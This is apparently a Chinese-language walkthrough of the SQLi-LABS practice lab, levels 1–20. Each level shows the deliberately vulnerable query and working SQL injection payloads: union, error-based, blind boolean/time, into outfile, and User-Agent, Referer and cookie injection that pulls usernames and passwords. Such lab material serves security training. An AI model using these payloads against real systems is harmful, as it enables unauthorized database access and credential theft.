要学习SQL注入测试平台“SQLi-LABS”之前,你必须保证你对Mysql手工注入以及原理非常的了解。否则,有很多东西你是看不懂的。
Less-1
GET - 基于错误 - 单引号 - 字符串
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入示例:
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3 --+
Less-2
GET - 基于错误 - 基于数字整型
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入示例:
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 3 --+
Less-3
GET - 基于错误 - 单引号加小括号 - 字符串
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
注入示例:
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 3 --+
Less-4
GET - 基于错误 - 双引号 - 字符串
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
注入示例:
http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 3 --+
Less-5
GET - 双注入 - 单引号 - 字符串
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入示例:
http://127.0.0.1/sqli-labs/Less-5/?id=1' order by 3 --+
查当前数据库第一个表;查user表用 limit 3,1
http://127.0.0.1/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+
查user表第一列名;查列名可以用limit来控制
http://127.0.0.1/sqli-labs/Less-5/?id=1' and (select 1 from ( select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+查
查user表username列名的值
http://127.0.0.1/sqli-labs/Less-5/?id=1' and (select 1 from ( select count(*),concat(0x3a,0x3a,(select username from users limit 1,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+
Less-6
GET - 双注入 - 双引号 - 字符串
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入示例:
查当前数据库第一个表;查user表用 limit 3,1
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+
Less-7
GET - into outfile - 字符串
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
注入示例:
http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,3 into outfile "F:\phpStudy\WWW\sqli-labs\7.php" --+
这里本应该是可以把1,2,3写入到7.php这个文件的,由于现在mysql默认会运行 --secure-file-priv 选项,因此:读取函数:load_file、写入函数:into outfile是不能用了。
具体可以查看:Mysql高权限文件操作注入
Less-8
GET - 盲注 - 基于布尔 - 单引号
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入示例:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=1 --+
具体请查看:MYSQL盲注:基于布尔注入
Less-9
GET - 盲注 - 基于时间 - 单引号
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入示例:
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+
具体请查看:MySQL盲注:基于时间延迟注入(Sleep函数)
Less-10
GET - 盲注 - 基于时间 - 双引号
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入示例:
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5) --+
具体请查看:MySQL盲注:基于时间延迟注入(Benchmark函数)
友情提醒:11到21关的提交方式全是post型的,需要借助抓包工具,我这里使用burpsuite工具;
Less-11
POST - 基于错误 - 单引号 - 字符串
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
注入示例:
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=123456&submit=Submit
或
uname=admin' union select 1,2 --+&passwd=123456&submit=Submit
Less-12
POST - 基于错误 - 双引号 - 字符串 - 小括号
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
注入示例:
uname=admin") and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=123456&submit=Submit
Less-13
POST - 双注入 - 单引号 - 字符串 - 小括号
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
注入示例:
uname=admin') and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+&passwd=123456&submit=Submit
Less-14
POST - 双注入 - 双引号 - 字符串
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
注入示例:
uname=admin" and extractvalue(1,concat(0x7e,(select database()),0x7e))--+&passwd=123456&submit=Submit
或
uname=admin" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="security" limit 0,1),0x7e)) --+&passwd=123456&submit=Submit
或
uname=admin" and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+&passwd=123456&submit=Submit
Less-15
POST - 盲注 - 基于布尔/时间 - 单引号
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
注入示例:
延时注入,错误先睡5秒
uname=admin' and if(ascii(substr(database(),1,1))=114,1,sleep(5))--+&passwd=123456&submit=Submit
具体请查看:
MySQL盲注:基于布尔注入 与 MySQL盲注:基于时间延迟注入(Sleep函数)
Less-16
POST - 盲注 - 基于布尔/时间 - 双引号 - 小括号
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
注入示例:
延时注入,错误先睡5秒
uname=admin") and if(ascii(substr(database(),1,1))=114,1,sleep(5))--+&passwd=123456&submit=Submit
Less-17
POST - Update语句 - 基于错误 - 字符串
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
注入示例:
uname=admin&passwd=123456' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+&submit=Submit
具体请查看:MySQL插入(insert)、更新(update)、删除(delete)语句注入
Less-18
POST - Header头部注入 - Uagen字段 - 基于错误
不论是否登录成功,都会回显IP。
登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
修改XFF头对IP没有影响,登陆成功会回显你的User-Agent。
这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent部分。这跟现实中的注册登录再注入是比较贴合。
所以注入点就在 User-Agent 处。
注入示例:
数据库名
User-Agent: Mozilla' or updatexml(1,concat('#',(database())),0),'','')#
表名
User-Agent: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'','')#
列名
User-Agent: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'','')#
列名字段值数据
User-Agent: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'','')#
注意:这里并不是URL而是HTTP头部注入,所以--+中的+并不会被转义为(空格),于是末尾的注释符号要变为#。
Less-19
POST - Header头部注入 - Referer字段 - 基于错误
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
注入示例:
数据库名
Referer:' or updatexml(1,concat('#',(database())),0),'')#
表名
Referer:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
列名
Referer:' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#
列名值数据
Referer:' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#
Less-20
POST - Cookie注入 - Uagen字段 - 基于错误
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
从源代码中我们可以看到COOKIE从username中获得值后,当再次刷新时,会从COOKIE中读取username,然后进行查询。
因此,我们登录成功之后,可以先修改cookie,当再次刷新的时候,这时候sql语句就会被修改。
注入示例:
Cookie: uname=admin' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#